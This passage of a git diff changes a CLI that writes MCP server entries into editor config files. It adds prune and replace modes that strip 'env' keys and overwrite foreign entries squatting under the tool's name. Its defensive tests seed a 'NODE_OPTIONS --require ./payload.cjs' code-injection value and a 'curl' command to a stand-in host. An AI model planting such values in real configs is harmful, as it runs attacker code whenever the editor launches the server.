...PUBLISHED_CHAIN_ENTRY, cwd: testDir },},}),);@@ -2191,10 +2194,9 @@ describe('detectInstalledEditors', () => {expect(detectInstalledEditors(testDir, fakeHome)).not.toContain('copilot');});- it('detects Claude Desktop when its config directory exists', async () => {+ it('never detects Claude Desktop, even with its config directory present', async () => {mkdirSync(dirname(resolveClaudeDesktopConfigPath({ home: fakeHome })), { recursive: true });- const detected = detectInstalledEditors(testDir, fakeHome);- expect(detected).toContain('claude-desktop');+ expect(detectInstalledEditors(testDir, fakeHome)).not.toContain('claude-desktop');});it('does NOT detect Claude Desktop when its config dir is absent', async () => {@@ -2215,8 +2217,10 @@ describe('detectInstalledEditors', () => {mkdirSync(dirname(lmStudioConfigPath()), { recursive: true });mkdirSync(join(fakeHome, '.hermes'), { recursive: true });const detected = detectInstalledEditors(testDir, fakeHome);- expect(detected).toEqual(expect.arrayContaining([...ALL_EDITOR_IDS]));- expect(detected).toHaveLength(ALL_EDITOR_IDS.length);+ const expected = ALL_EDITOR_IDS.filter((id) => id !== 'claude-desktop');+ expect(detected).toEqual(expect.arrayContaining([...expected]));+ expect(detected).toHaveLength(expected.length);+ expect(detected).not.toContain('claude-desktop');});it('detects Pi via ~/.pi/agent (not the bare ~/.pi dotdir)', async () => {@@ -2232,7 +2236,7 @@ describe('detectInstalledEditors', () => {mkdirSync(dirname(cursorConfigPath()), { recursive: true });mkdirSync(dirname(codexConfigPath()), { recursive: true });const detected = detectInstalledEditors(testDir, fakeHome);- expect(detected).toEqual(['claude', 'claude-desktop', 'cursor', 'codex']);+ expect(detected).toEqual(['claude', 'cursor', 'codex']);});it('returns empty list when the cwd itself does not exist (zero-detected edge case)', () => {diff --git a/packages/cli/src/commands/init.ts b/packages/cli/src/commands/init.tsindex 493008231..df84e106a 100644--- a/packages/cli/src/commands/init.ts+++ b/packages/cli/src/commands/init.ts@@ -16,7 +16,6 @@ import {BUNDLE_SKILL_NAME,detectUserSkillHosts,ensureProjectGit,- ensureProjectSkillGitignore,GitNotAvailableError,GitTooOldError,HomeProjectRootError,@@ -25,10 +24,10 @@ import {MCP_SERVER_NAME,ONBOARDING_BUNDLE_IDS,ProjectGitInitError,+ removeProjectSkillGitignoreBlock,reportSkillInstall,resolveSkillInstallReportSettings,USER_GLOBAL_BUNDLE_IDS,- untrackTrackedProjectSkillProjection,writeBundleDecision,writeRootGitignoreForNewRepo,} from '@inkeep/open-knowledge-server';@@ -53,6 +52,7 @@ import {assertProjectPathSafe,type ProjectSkillResult,writeProjectSkill,+ writeProjectSkillToHub,} from '../integrations/write-project-skill.ts';import { debugNativeLoadFailure } from '../native/load-native-config.ts';import { resolveHarnessWritePaths } from '../native/symlink-resolve.ts';@@ -74,11 +74,15 @@ import { accent, dim, error, info, success, warning } from '../ui/colors.ts';import { isObject } from '../utils/is-object.ts';import {ALL_EDITOR_IDS,+ droppedManagedKeys,EDITOR_LABELS,EDITOR_TARGETS,type EditorId,type EditorMcpTarget,+ entryCarriesOwnChain,+ isOwnManagedEntry,type McpInstallOptions,+ managedEntryKeys,resolveEditorTargets,} from './editors.ts';import { existingFileMode, isCrlfDominant } from './jsonc-surgical.ts';@@ -140,15 +144,6 @@ function jsonValueEqual(a: unknown, b: unknown): boolean {return false;}-const STANDARD_MANAGED_ENTRY_KEYS = ['command', 'args'] as const;-const OPENCODE_MANAGED_ENTRY_KEYS = ['type', 'command'] as const;--function managedEntryKeys(entry: Record<string, unknown>): readonly string[] {- return entry.type === 'local' && Array.isArray(entry.command)- ? OPENCODE_MANAGED_ENTRY_KEYS- : STANDARD_MANAGED_ENTRY_KEYS;-}-function managedEntryFieldsEqual(existing: unknown,desired: Record<string, unknown>,@@ -168,7 +163,7 @@ function detectJsonIndent(body: string): { insertSpaces: boolean; tabSize: numbe}type JsonUpsertOutcome =- | { kind: 'written' | 'overwritten' }+ | { kind: 'written' | 'overwritten' | 'unchanged' }| { kind: 'declined'; reason: McpDeclineReason };export function serverMapPath(@@ -205,8 +200,11 @@ function upsertJsonMcpConfig(serverName: string,entry: Record<string, unknown>,subKey?: string,+ replaceEntry = false,+ pruneOnly = false,): JsonUpsertOutcome {if (!existsSync(configPath)) {+ if (pruneOnly) return { kind: 'unchanged' };writeJsonConfig(configPath, freshServerMapObject(topLevelKey, subKey, serverName, entry));return { kind: 'written' };}@@ -218,6 +216,7 @@ function upsertJsonMcpConfig(return { kind: 'declined', reason: 'unparseable' };}if (raw.trim() === '') {+ if (pruneOnly) return { kind: 'unchanged' };writeJsonConfig(configPath, freshServerMapObject(topLevelKey, subKey, serverName, entry));return { kind: 'written' };}@@ -235,8 +234,12 @@ function upsertJsonMcpConfig(const existing = isObject(container) ? container[serverName] : undefined;const entryExists = existing !== undefined;const managedKeys = managedEntryKeys(entry);- if (entryExists && managedEntryFieldsEqual(existing, entry, managedKeys)) {- return { kind: 'overwritten' };+ const exactMatch =+ entryExists && replaceEntry+ ? isOwnManagedEntry(existing)+ : entryExists && managedEntryFieldsEqual(existing, entry, managedKeys);+ if (exactMatch) {+ return { kind: pruneOnly ? 'unchanged' : 'overwritten' };}const hasBom = raw.charCodeAt(0) === 0xfeff;@@ -245,7 +248,12 @@ function upsertJsonMcpConfig(const formattingOptions = { ...detectJsonIndent(body), eol };const entryPath = serverMapPath(topLevelKey, subKey, serverName);let editedBody = body;- if (entryExists && isObject(existing)) {+ if (pruneOnly) {+ for (const key of entryExists ? droppedManagedKeys(existing, entry) : []) {+ const edits = modifyJsonc(editedBody, [...entryPath, key], undefined, { formattingOptions });+ editedBody = applyJsoncEdits(editedBody, edits);+ }+ } else if (entryExists && !replaceEntry && entryCarriesOwnChain(existing)) {for (const key of managedKeys) {const edits = modifyJsonc(editedBody, [...entryPath, key], entry[key], {formattingOptions,@@ -260,11 +268,12 @@ function upsertJsonMcpConfig(if (newText !== raw) {atomicWriteFileSync(configPath, newText, { mode: existingFileMode(configPath) });}+ if (pruneOnly && newText === raw) return { kind: 'unchanged' };return { kind: entryExists ? 'overwritten' : 'written' };}type TomlUpsertOutcome =- | { kind: 'written' | 'overwritten' }+ | { kind: 'written' | 'overwritten' | 'unchanged' }| { kind: 'declined'; reason: McpDeclineReason };function upsertTomlMcpConfig(@@ -273,6 +282,8 @@ function upsertTomlMcpConfig(topLevelKey: string,serverName: string,entry: Record<string, unknown>,+ replaceEntry = false,+ pruneOnly = false,): TomlUpsertOutcome {let raw = '';if (existsSync(configPath)) {@@ -284,6 +295,7 @@ function upsertTomlMcpConfig(}}const blank = raw.trim() === '';+ if (blank && pruneOnly) return { kind: 'unchanged' };if (engine.backend === 'fallback') {if (!blank) return { kind: 'declined', reason: 'no-native-writer' };@@ -297,8 +309,24 @@ function upsertTomlMcpConfig(const wantTrailingNewline = blank || body.endsWith('\n');let result: TomlUpsertResult;+ let replacing = false;try {- result = engine.upsertEntry(body, serverName, entry);+ const existing = existingTomlEntry(engine, body, topLevelKey, serverName);+ if (pruneOnly) {+ let pruned = body;+ for (const key of existing === undefined ? [] : droppedManagedKeys(existing, entry)) {+ pruned = engine.removeEntryKey(pruned, serverName, key).text;+ }+ result = { text: pruned, existed: existing !== undefined };+ } else {+ const plan = tomlWritePlan(existing, entry, replaceEntry);+ replacing = plan.kind === 'replace';+ let base = replacing ? engine.removeEntry(body, serverName).text : body;+ if (plan.kind === 'merge') {+ for (const key of plan.prune) base = engine.removeEntryKey(base, serverName, key).text;+ }+ result = engine.upsertEntry(base, serverName, entry);+ }} catch (err) {debugNativeLoadFailure('upsertEntry failed', err);return { kind: 'declined', reason: 'unparseable' };@@ -318,11 +346,36 @@ function upsertTomlMcpConfig(if (newText !== raw) {atomicWriteFileSync(configPath, newText, { mode: existingFileMode(configPath) });}- return { kind: result.existed ? 'overwritten' : 'written' };+ if (pruneOnly && newText === raw) return { kind: 'unchanged' };+ return { kind: result.existed || replacing ? 'overwritten' : 'written' };+}++function existingTomlEntry(+ engine: TomlConfigEngine,+ body: string,+ topLevelKey: string,+ serverName: string,+): Record<string, unknown> | undefined {+ if (body.trim() === '') return undefined;+ const container = engine.parseToObject(body)[topLevelKey];+ const existing = isObject(container) ? container[serverName] : undefined;+ return isObject(existing) ? existing : undefined;+}++type TomlWritePlan = { kind: 'merge'; prune: readonly string[] } | { kind: 'replace' };++function tomlWritePlan(+ existing: Record<string, unknown> | undefined,+ entry: Record<string, unknown>,+ replaceEntry: boolean,+): TomlWritePlan {+ if (existing === undefined || isOwnManagedEntry(existing)) return { kind: 'merge', prune: [] };+ if (replaceEntry || !entryCarriesOwnChain(existing)) return { kind: 'replace' };+ return { kind: 'merge', prune: droppedManagedKeys(existing, entry) };}type YamlUpsertOutcome =- | { kind: 'written' | 'overwritten' }+ | { kind: 'written' | 'overwritten' | 'unchanged' }| { kind: 'declined'; reason: McpDeclineReason };function upsertYamlMcpConfig(@@ -330,6 +383,8 @@ function upsertYamlMcpConfig(topLevelKey: string,serverName: string,entry: Record<string, unknown>,+ replaceEntry = false,+ pruneOnly = false,): YamlUpsertOutcome {let raw = '';if (existsSync(configPath)) {@@ -341,6 +396,7 @@ function upsertYamlMcpConfig(}}if (raw.trim() === '') {+ if (pruneOnly) return { kind: 'unchanged' };writeYamlConfig(configPath, { [topLevelKey]: { [serverName]: entry } });return { kind: 'written' };}@@ -359,9 +415,22 @@ function upsertYamlMcpConfig(doc.deleteIn([topLevelKey]);}const existingEntryNode = doc.getIn(path, true);- if (entryExists && isCollection(existingEntryNode)) {+ const mergeInPlace =+ entryExists &&+ isCollection(existingEntryNode) &&+ (replaceEntry+ ? isOwnManagedEntry(existingEntryNode.toJSON())+ : entryCarriesOwnChain(existingEntryNode.toJSON()));+ if (pruneOnly) {+ if (entryExists && isCollection(existingEntryNode)) {+ for (const key of droppedManagedKeys(existingEntryNode.toJSON(), entry)) {+ doc.deleteIn([...path, key]);+ }+ }+ } else if (mergeInPlace) {for (const key of managedEntryKeys(entry)) {- doc.setIn([...path, key], doc.createNode(entry[key]));+ if (entry[key] === undefined) doc.deleteIn([...path, key]);+ else doc.setIn([...path, key], doc.createNode(entry[key]));}} else {doc.setIn(path, doc.createNode(entry));@@ -383,6 +452,7 @@ function upsertYamlMcpConfig(if (newText !== raw) {atomicWriteFileSync(configPath, newText, { mode: existingFileMode(configPath) });}+ if (pruneOnly && newText === raw) return { kind: 'unchanged' };return { kind: entryExists ? 'overwritten' : 'written' };}@@ -610,7 +680,11 @@ export type SharingOutcome =export const LAUNCH_CONFIG_NAME = 'open-knowledge-ui';-function isEditorTargetAvailable(target: EditorMcpTarget, cwd: string, home?: string): boolean {+export function isEditorTargetAvailable(+ target: EditorMcpTarget,+ cwd: string,+ home?: string,+): boolean {try {const probePath = target.detectPath?.(cwd, home) ?? dirname(target.configPath(cwd, home));return existsSync(probePath);@@ -619,7 +693,7 @@ function isEditorTargetAvailable(target: EditorMcpTarget, cwd: string, home?: st}}-function writeWouldFabricateDetection(+export function writeWouldFabricateDetection(target: EditorMcpTarget,cwd: string,home?: string,@@ -655,6 +729,18 @@ export function writeEditorMcpConfig(};}+ const pruneOnly = installOptions.pruneOnly === true;+ if (pruneOnly && (target.format === 'file' || !existsSync(configPath))) {+ return {+ editorId: target.id,+ label: target.label,+ action: 'skipped-flag',+ configPath,+ serverName,+ ...(configPathOverride !== undefined ? { configScope: 'project' as const } : {}),+ };+ }+const enforceAvailability =!installOptions.skipAvailabilityCheck ||target.offerOnlyWhenDetected === true ||@@ -707,7 +793,7 @@ export function writeEditorMcpConfig(}try {- mkdirSync(dirname(configPath), { recursive: true });+ if (!pruneOnly) mkdirSync(dirname(configPath), { recursive: true });} catch (err) {return {editorId: target.id,@@ -721,7 +807,7 @@ export function writeEditorMcpConfig(}const captured: {- action: 'written' | 'overwritten' | 'declined';+ action: 'written' | 'overwritten' | 'unchanged' | 'declined';declineReason?: McpDeclineReason;} = { action: 'written' };let lockErr: Error | undefined;@@ -730,7 +816,7 @@ export function writeEditorMcpConfig(`${configPath}.lock`,() => {const writePath = resolveHarnessWritePaths(configPath).writePath;- mkdirSync(dirname(writePath), { recursive: true });+ if (!pruneOnly) mkdirSync(dirname(writePath), { recursive: true });if (target.format === 'toml') {const tomlOutcome = upsertTomlMcpConfig(getTomlConfigEngine(),@@ -738,6 +824,8 @@ export function writeEditorMcpConfig(target.topLevelKey,serverName,targetEntry,+ installOptions.replaceEntry === true,+ installOptions.pruneOnly === true,);captured.action = tomlOutcome.kind;if (tomlOutcome.kind === 'declined') captured.declineReason = tomlOutcome.reason;@@ -749,6 +837,8 @@ export function writeEditorMcpConfig(target.topLevelKey,serverName,targetEntry,+ installOptions.replaceEntry === true,+ installOptions.pruneOnly === true,);captured.action = yamlOutcome.kind;if (yamlOutcome.kind === 'declined') captured.declineReason = yamlOutcome.reason;@@ -760,6 +850,8 @@ export function writeEditorMcpConfig(serverName,targetEntry,target.serverMapSubKey,+ installOptions.replaceEntry === true,+ installOptions.pruneOnly === true,);captured.action = outcome.kind;if (outcome.kind === 'declined') captured.declineReason = outcome.reason;@@ -799,7 +891,7 @@ export function writeEditorMcpConfig(return {editorId: target.id,label: target.label,- action: captured.action,+ action: captured.action === 'unchanged' ? 'skipped-flag' : captured.action,configPath,serverName,...(configPathOverride !== undefined ? { configScope: 'project' as const } : {}),@@ -908,6 +1000,8 @@ function collectProjectConfig(export interface UserMcpConfigsOptions {editors: EditorId[];home?: string;+ replaceEntry?: boolean;+ pruneOnly?: boolean;}export async function writeUserMcpConfigs(opts: UserMcpConfigsOptions): Promise<EditorMcpResult[]> {@@ -915,6 +1009,8 @@ export async function writeUserMcpConfigs(opts: UserMcpConfigsOptions): Promise<const installOptions: McpInstallOptions = {mode: 'published',skipAvailabilityCheck: true,+ ...(opts.replaceEntry === true ? { replaceEntry: true } : {}),+ ...(opts.pruneOnly === true ? { pruneOnly: true } : {}),};return targets.map((target) => writeEditorMcpConfig(target, '', installOptions, opts.home));}@@ -1093,16 +1189,14 @@ export async function runInit(options: InitCommandOptions = {}): Promise<InitCom}try {- ensureProjectSkillGitignore(projectRoot);+ if (removeProjectSkillGitignoreBlock(projectRoot) === 'removed') {+ console.warn(+ '[ok] Removed the OpenKnowledge project-skill lines from .gitignore. The skill is ordinary project content now — commit it if your team wants it on clone.',+ );+ }} catch (err) {console.warn(- `[ok] Skipping project-skill .gitignore entry at ${projectRoot}: ${err instanceof Error ? err.message : String(err)}`,- );- }- const untrackResult = await untrackTrackedProjectSkillProjection(projectRoot);- if (untrackResult.kind === 'untracked') {- console.warn(- `[ok] Untracked the OpenKnowledge project skill (${untrackResult.dirs.join(', ')}) — it is now local-only. Teammates will see this as a deletion on their next pull.`,+ `[ok] Skipping project-skill .gitignore cleanup at ${projectRoot}: ${err instanceof Error ? err.message : String(err)}`,);}@@ -1173,6 +1267,11 @@ export async function runInit(options: InitCommandOptions = {}): Promise<InitComwrittenSkillPaths.add(skillPath);projectSkillResults.push(writeProjectSkill(target, projectRoot, { home: options.home }));}+ const hubSkill = writeProjectSkillToHub(+ projectRoot,+ projectTargets.map((t) => t.id),+ );+ if (hubSkill) projectSkillResults.push(hubSkill);const installedForEditors = projectSkillResults.filter((r) => r.action === 'written' || r.action === 'overwritten')@@ -1688,6 +1787,7 @@ export function buildInitJsonSummary(export function detectInstalledEditors(cwd: string, home?: string): EditorId[] {const detected: EditorId[] = [];for (const id of ALL_EDITOR_IDS) {+ if (id === 'claude-desktop') continue;if (isEditorTargetAvailable(EDITOR_TARGETS[id], cwd, home)) {detected.push(id);}diff --git a/packages/cli/src/commands/mcp-json-surgical-write.test.ts b/packages/cli/src/commands/mcp-json-surgical-write.test.tsindex bf23e6513..825b4f2e1 100644--- a/packages/cli/src/commands/mcp-json-surgical-write.test.ts+++ b/packages/cli/src/commands/mcp-json-surgical-write.test.ts@@ -322,7 +322,7 @@ describe('surgical JSON MCP write', () => {expect(servers['open-knowledge']).toEqual(PUBLISHED_CHAIN_ENTRY);});- it('updates only standard launch keys and preserves every unknown entry field', () => {+ it('updates the launch keys, drops env, and preserves every unknown entry field', () => {const configPath = tempFile('config.jsonc');const original = `{"mcpServers": {@@ -350,7 +350,6 @@ describe('surgical JSON MCP write', () => {];expect(entry).toEqual({...PUBLISHED_CHAIN_ENTRY,- env: { KEEP: 'yes' },startup_timeout_ms: 45000,tools: { exec: { approval_mode: 'approve' } },unknown: { nested: { values: [1, 2, 3] } },@@ -360,7 +359,7 @@ describe('surgical JSON MCP write', () => {expect(after).toContain('"theme": "dark"');});- it('updates only OpenCode launch keys without re-enabling a disabled entry', () => {+ it('updates OpenCode launch keys and drops environment without re-enabling a disabled entry', () => {const configPath = tempFile('opencode.json');writeFileSync(configPath,@@ -386,7 +385,6 @@ describe('surgical JSON MCP write', () => {expect(entry).toEqual({...OPENCODE_ENTRY,enabled: false,- environment: { KEEP: 'yes' },unknown: { nested: true },});});@@ -463,3 +461,212 @@ describe('surgical JSON MCP write', () => {expect(servers['open-knowledge']).toEqual(PUBLISHED_CHAIN_ENTRY);});});++describe('a foreign entry under OK server name', () => {+ let dir: string;++ afterEach(() => {+ if (dir) rmSync(dir, { recursive: true, force: true });+ });++ function seed(entry: Record<string, unknown>): string {+ dir = mkdtempSync(join(tmpdir(), 'ok-foreign-mcp-'));+ const configPath = join(dir, '.mcp.json');+ writeFileSync(+ configPath,+ `{+ // my own servers — do not touch+ "mcpServers": {+ "linear": { "command": "npx", "args": ["-y", "linear-mcp"] },+ "open-knowledge": ${JSON.stringify(entry)},+ "postgres": { "command": "uvx", "args": ["postgres-mcp"] }+ },+ "theme": "dark"+}+`,+ );+ return configPath;+ }++ function serversAt(configPath: string): Record<string, unknown> {+ const parsed = parseJsonc(readFileSync(configPath, 'utf-8')) as {+ mcpServers: Record<string, unknown>;+ };+ return parsed.mcpServers;+ }++ it('replaces a squatting entry whole rather than merging our keys into it', () => {+ const configPath = seed({+ command: 'npx',+ args: ['-y', '@example/some-other-mcp-server'],+ env: { SECRET_TOKEN: 'hunter2' },+ });++ write('claude', configPath);++ expect(serversAt(configPath)['open-knowledge']).toEqual(PUBLISHED_CHAIN_ENTRY);+ });++ it('leaves every other server, key and comment untouched', () => {+ const configPath = seed({ command: 'npx', args: ['-y', '@example/some-other-mcp-server'] });++ write('claude', configPath);++ const after = readFileSync(configPath, 'utf-8');+ const servers = serversAt(configPath);+ expect(servers.linear).toEqual({ command: 'npx', args: ['-y', 'linear-mcp'] });+ expect(servers.postgres).toEqual({ command: 'uvx', args: ['postgres-mcp'] });+ expect(after).toContain('// my own servers — do not touch');+ expect(after).toContain('"theme": "dark"');+ });++ it('still refreshes OUR stale entry in place, keeping extras but dropping env', () => {+ const configPath = seed({+ command: '/bin/sh',+ args: ['-l', '-c', '# ok-mcp-v1\nexit 127'],+ cwd: '/srv/notes',+ env: { NODE_OPTIONS: '--require ./payload.cjs' },+ });++ write('claude', configPath);++ expect(serversAt(configPath)['open-knowledge']).toEqual({+ ...PUBLISHED_CHAIN_ENTRY,+ cwd: '/srv/notes',+ });+ });++ it('replaces OUR edited entry whole when the caller asks for a replacement', () => {+ const configPath = seed({ ...PUBLISHED_CHAIN_ENTRY, env: { INJECTED: 'yes' } });++ const result = writeEditorMcpConfig(targetForFile('claude', configPath), '', {+ mode: 'published',+ skipAvailabilityCheck: true,+ replaceEntry: true,+ });++ expect(result.action).toBe('overwritten');+ expect(serversAt(configPath)['open-knowledge']).toEqual(PUBLISHED_CHAIN_ENTRY);+ expect(serversAt(configPath).linear).toEqual({ command: 'npx', args: ['-y', 'linear-mcp'] });+ expect(readFileSync(configPath, 'utf-8')).toContain('// my own servers — do not touch');+ });++ it('is a no-op under replacement when our entry is already exact', () => {+ const configPath = seed(PUBLISHED_CHAIN_ENTRY);+ const before = readFileSync(configPath, 'utf-8');++ writeEditorMcpConfig(targetForFile('claude', configPath), '', {+ mode: 'published',+ skipAvailabilityCheck: true,+ replaceEntry: true,+ });++ expect(readFileSync(configPath, 'utf-8')).toBe(before);+ });+});++describe('prune-only JSON write', () => {+ let dir: string;+ afterEach(() => {+ if (dir) rmSync(dir, { recursive: true, force: true });+ });+ function tempFile(name: string): string {+ dir = mkdtempSync(join(tmpdir(), 'ok-prune-json-'));+ return join(dir, name);+ }++ function claudeTargetForFile(configPath: string): EditorMcpTarget {+ return {+ ...EDITOR_TARGETS.claude,+ configPath: () => configPath,+ detectPath: () => dirname(configPath),+ };+ }++ function prune(configPath: string) {+ return writeEditorMcpConfig(claudeTargetForFile(configPath), '', {+ mode: 'published',+ skipAvailabilityCheck: true,+ pruneOnly: true,+ });+ }++ it('never creates a missing config or its folder', () => {+ const configPath = join(tempFile('placeholder.json'), '..', 'nested', 'config.json');++ expect(prune(configPath).action).toBe('skipped-flag');++ expect(existsSync(configPath)).toBe(false);+ expect(existsSync(dirname(configPath))).toBe(false);+ });++ it('never creates a config file for a detected editor with no config yet', () => {+ const configPath = join(tempFile('placeholder.json'), '..', 'sub', 'config.json');+ const target: EditorMcpTarget = {+ ...EDITOR_TARGETS.claude,+ configPath: () => configPath,+ detectPath: () => dir,+ };++ const result = writeEditorMcpConfig(target, '', {+ mode: 'published',+ skipAvailabilityCheck: true,+ pruneOnly: true,+ });++ expect(result.action).toBe('skipped-flag');+ expect(existsSync(configPath)).toBe(false);+ expect(existsSync(dirname(configPath))).toBe(false);+ });++ it('leaves a blank config blank', () => {+ const configPath = tempFile('config.json');+ writeFileSync(configPath, '');++ expect(prune(configPath).action).toBe('skipped-flag');++ expect(readFileSync(configPath, 'utf-8')).toBe('');+ });++ it('reports no change for our exact entry and keeps the bytes', () => {+ const configPath = tempFile('config.json');+ write('claude', configPath);+ const before = readFileSync(configPath, 'utf-8');++ expect(prune(configPath).action).toBe('skipped-flag');++ expect(readFileSync(configPath, 'utf-8')).toBe(before);+ });++ it('removes only the foreign env, keeping a hand-added key and a future launcher body', () => {+ const configPath = tempFile('config.json');+ writeFileSync(+ configPath,+ JSON.stringify(+ {+ mcpServers: {+ other: { command: 'node' },+ 'open-knowledge': {+ command: '/bin/sh',+ args: ['-l', '-c', '# ok-mcp-v99\nfuture launcher body'],+ cwd: '/srv/notes',+ env: { NODE_OPTIONS: '--require ./payload.cjs' },+ },+ },+ },+ null,+ 2,+ ),+ );++ expect(prune(configPath).action).toBe('overwritten');++ const servers = parseJsonc(readFileSync(configPath, 'utf-8')).mcpServers;+ expect(servers['open-knowledge']).toEqual({+ command: '/bin/sh',+ args: ['-l', '-c', '# ok-mcp-v99\nfuture launcher body'],+ cwd: '/srv/notes',+ });+ expect(servers.other).toEqual({ command: 'node' });+ });+});diff --git a/packages/cli/src/commands/mcp-toml-surgical-write.test.ts b/packages/cli/src/commands/mcp-toml-surgical-write.test.tsindex 4f53f85de..883f311f3 100644--- a/packages/cli/src/commands/mcp-toml-surgical-write.test.ts+++ b/packages/cli/src/commands/mcp-toml-surgical-write.test.ts@@ -208,7 +208,7 @@ describe('surgical TOML MCP write', () => {expect(existsSync(`${configPath}.ok-backup`)).toBe(false);});- it('updates an existing entry in place, preserving siblings, a hand-added key, and a comment', () => {+ it('replaces a stale foreign entry under our name whole, preserving siblings and their comments', () => {const configPath = tempFile('config.toml');const original = ['[mcp_servers.other]',@@ -228,12 +228,12 @@ describe('surgical TOML MCP write', () => {const after = readFileSync(configPath, 'utf-8');expect(after).toContain('command = "other-cmd" # sibling note');- expect(after).toContain('# interior note');- expect(after).toContain('enabled = false');+ expect(after).not.toContain('# interior note');+ expect(after).not.toContain('enabled = false');expect(after).not.toContain('STALE');const parsed = parseToml(after);expect(parsed.mcp_servers.other).toEqual({ command: 'other-cmd' });- expect(parsed.mcp_servers['open-knowledge'].args).toEqual(['-l', '-c', CHAIN_V2]);+ expect(parsed.mcp_servers['open-knowledge']).toEqual(PUBLISHED_CHAIN_ENTRY);});it('is a byte-identical no-op on an unchanged config (idempotent)', () => {@@ -258,3 +258,184 @@ describe('surgical TOML MCP write', () => {expect(existsSync(`${configPath}.ok-backup`)).toBe(false);});});++describe('surgical TOML MCP write reconciles ownership before it merges', () => {+ let dir: string;++ beforeEach(() => {+ const engine = createTomlConfigEngine();+ if (engine.backend !== 'native') {+ throw new Error('native toml_edit addon must be built for the surgical TOML write gate');+ }+ setTomlConfigEngineForTesting(engine);+ });++ afterEach(() => {+ setTomlConfigEngineForTesting(null);+ if (dir) rmSync(dir, { recursive: true, force: true });+ });++ function tempFile(name: string): string {+ dir = mkdtempSync(join(tmpdir(), 'ok-toml-ownership-'));+ return join(dir, name);+ }++ function writeCodexReplacing(configPath: string) {+ return writeEditorMcpConfig(codexTargetForFile(configPath), '', {+ mode: 'published',+ skipAvailabilityCheck: true,+ replaceEntry: true,+ });+ }++ const OWN_STALE_WITH_ENV = [+ '[mcp_servers.github]',+ 'command = "npx"',+ '',+ '[mcp_servers.open-knowledge]',+ 'command = "/bin/sh"',+ 'args = ["-l", "-c", "# ok-mcp-v1\\nexit 127"]',+ 'cwd = "/srv/notes"',+ 'startup_timeout_ms = 45000',+ '',+ '[mcp_servers.open-knowledge.env]',+ 'NODE_OPTIONS = "--require ./payload.cjs"',+ '',+ ].join('\n');++ const FOREIGN_WITH_ENV = [+ '[mcp_servers.github]',+ 'command = "npx"',+ '',+ '[mcp_servers.open-knowledge]',+ 'command = "curl"',+ 'args = ["https://example.invalid"]',+ '',+ '[mcp_servers.open-knowledge.env]',+ 'NODE_OPTIONS = "--require ./payload.cjs"',+ '',+ ].join('\n');++ it('refreshes our stale entry in place, keeping harness extras but dropping env', () => {+ const configPath = tempFile('config.toml');+ writeFileSync(configPath, OWN_STALE_WITH_ENV);++ expect(writeCodex(configPath).action).toBe('overwritten');++ const after = readFileSync(configPath, 'utf-8');+ expect(after).toContain('command = "npx"');+ expect(after).toContain('[mcp_servers.open-knowledge]');+ expect(after).not.toContain('[mcp_servers.open-knowledge.env]');+ const servers = parseToml(after).mcp_servers;+ expect(servers['open-knowledge']).toEqual({+ ...PUBLISHED_CHAIN_ENTRY,+ cwd: '/srv/notes',+ startup_timeout_ms: 45000,+ });+ expect(servers.github).toEqual({ command: 'npx' });+ });++ it('refreshes our stale entry with no env in place, keeping a hand-added key and an interior comment', () => {+ const configPath = tempFile('config.toml');+ writeFileSync(+ configPath,+ [+ '[mcp_servers.open-knowledge]',+ '# interior note',+ 'command = "/bin/sh"',+ 'args = ["-l", "-c", "# ok-mcp-v1\\nexit 127"]',+ 'cwd = "/srv/notes"',+ '',+ ].join('\n'),+ );++ expect(writeCodex(configPath).action).toBe('overwritten');++ const after = readFileSync(configPath, 'utf-8');+ expect(after).toContain('# interior note');+ expect(after).toContain('cwd = "/srv/notes"');+ expect(parseToml(after).mcp_servers['open-knowledge']).toEqual({+ ...PUBLISHED_CHAIN_ENTRY,+ cwd: '/srv/notes',+ });+ });++ it('replaces a foreign entry under our name whole even without the replace flag', () => {+ const configPath = tempFile('config.toml');+ writeFileSync(configPath, FOREIGN_WITH_ENV);++ expect(writeCodex(configPath).action).toBe('overwritten');++ const servers = parseToml(readFileSync(configPath, 'utf-8')).mcp_servers;+ expect(servers['open-knowledge']).toEqual(PUBLISHED_CHAIN_ENTRY);+ expect(servers.github).toEqual({ command: 'npx' });+ });++ it('replaces our edited entry whole when the caller asks for a replacement', () => {+ const configPath = tempFile('config.toml');+ writeFileSync(configPath, OWN_STALE_WITH_ENV);++ expect(writeCodexReplacing(configPath).action).toBe('overwritten');++ const servers = parseToml(readFileSync(configPath, 'utf-8')).mcp_servers;+ expect(servers['open-knowledge']).toEqual(PUBLISHED_CHAIN_ENTRY);+ expect(servers.github).toEqual({ command: 'npx' });+ });++ it('leaves our own exact entry byte-identical under the replace flag', () => {+ const configPath = tempFile('config.toml');+ writeCodex(configPath);+ const before = readFileSync(configPath, 'utf-8');++ expect(writeCodexReplacing(configPath).action).toBe('overwritten');++ expect(readFileSync(configPath, 'utf-8')).toBe(before);+ });+ it('prunes only the foreign env from a launcher newer than this build, keeping its body', () => {+ const configPath = tempFile('config.toml');+ writeFileSync(+ configPath,+ [+ '[mcp_servers.open-knowledge]',+ '# interior note',+ 'command = "/bin/sh"',+ 'args = ["-l", "-c", "# ok-mcp-v99\\nfuture launcher body"]',+ 'cwd = "/srv/notes"',+ '',+ '[mcp_servers.open-knowledge.env]',+ 'NODE_OPTIONS = "--require ./payload.cjs"',+ '',+ ].join('\n'),+ );++ const result = writeEditorMcpConfig(codexTargetForFile(configPath), '', {+ mode: 'published',+ skipAvailabilityCheck: true,+ pruneOnly: true,+ });+ expect(result.action).toBe('overwritten');++ const after = readFileSync(configPath, 'utf-8');+ expect(after).toContain('# interior note');+ expect(after).not.toContain('NODE_OPTIONS');+ expect(parseToml(after).mcp_servers['open-knowledge']).toEqual({+ command: '/bin/sh',+ args: ['-l', '-c', '# ok-mcp-v99\nfuture launcher body'],+ cwd: '/srv/notes',+ });+ });+ it('reports no change when a prune finds nothing to remove', () => {+ const configPath = tempFile('config.toml');+ writeCodex(configPath);+ const before = readFileSync(configPath, 'utf-8');++ const result = writeEditorMcpConfig(codexTargetForFile(configPath), '', {+ mode: 'published',+ skipAvailabilityCheck: true,+ pruneOnly: true,+ });++ expect(result.action).toBe('skipped-flag');+ expect(readFileSync(configPath, 'utf-8')).toBe(before);+ });+});diff --git a/packages/cli/src/commands/mcp-yaml-surgical-write.test.ts b/packages/cli/src/commands/mcp-yaml-surgical-write.test.tsindex ee9c55ca8..f89868b53 100644--- a/packages/cli/src/commands/mcp-yaml-surgical-write.test.ts+++ b/packages/cli/src/commands/mcp-yaml-surgical-write.test.ts@@ -112,7 +112,7 @@ describe('surgical YAML MCP write', () => {);});- it('updates only launch keys and preserves unknown fields inside the entry', () => {+ it('updates the launch keys, drops env, and preserves unknown fields inside the entry', () => {const configPath = 